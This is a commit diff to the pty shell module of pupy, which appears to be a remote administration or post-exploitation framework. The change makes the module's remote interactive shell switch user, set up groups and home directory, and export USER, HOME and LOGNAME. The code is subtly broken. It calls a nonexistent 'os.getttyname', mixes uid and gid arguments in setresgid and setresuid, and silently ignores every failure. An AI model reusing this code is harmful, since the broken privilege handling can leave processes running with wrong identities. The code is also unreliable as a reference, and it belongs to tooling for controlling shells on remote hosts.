Properly setup environment during 'su'

pupy/packages/linux/all/ptyshell.py

@@ -14,22 +14,38 @@ import threading
 import select
 import rpyc
 import array
-import json
+import pwd
 from pupy import obtain
 
-def prepare(suid=None):
+def prepare(suid, slave):
     if suid is not None:
         try:
-            suid = int(suid)
+            if not type(suid) in (int, long):
+                userinfo = pwd.getpwnam(suid)
+                suid = userinfo.pw_uid
+                sgid = userinfo.pw_gid
+            else:
+                userinfo = pwd.getpwuid(suid)
+                sgid = userinfo.pw_gid
         except:
             pass
 
         try:
-            if not type(suid) in (int, long):
+            if slave:
-                import pwd
+                path = os.getttyname(slave)
-                suid = pwd.getpwnam(suid).pw_uid
+                os.chown(path, suid)
+        except:
+            pass
 
-            os.setresuid(suid, suid, suid)
+        try:
+            os.initgroups(userinfo.pw_name, sgid)
+            os.chdir(userinfo.pw_dir)
+        except:
+            pass
+
+        try:
+            os.setresgid(suid, suid, sgid)
+            os.setresuid(suid, suid, sgid)
         except:
             pass
 
@@ -101,13 +117,31 @@ class PtyShell(object):
             '/usr/local/bin', '/usr/local/sbin'
         ]) + ':' + env['PATH']
 
+        if suid is not None:
+            try:
+                suid = int(suid)
+            except:
+                pass
+
+            try:
+                if type(suid) == int:
+                    info = pwd.getpwuid(suid)
+                else:
+                    info = pwd.getpwnam(suid)
+
+                env['USER'] = info.pw_name
+                env['HOME'] = info.pw_dir
+                env['LOGNAME'] = info.pw_name
+            except:
+                pass
+
         self.prog = subprocess.Popen(
             shell=False,
             args=argv,
             stdin=slave,
             stdout=slave,
             stderr=subprocess.STDOUT,
-            preexec_fn=lambda: prepare(suid),
+            preexec_fn=lambda: prepare(suid, slave),
             env=env
         )
         os.close(slave)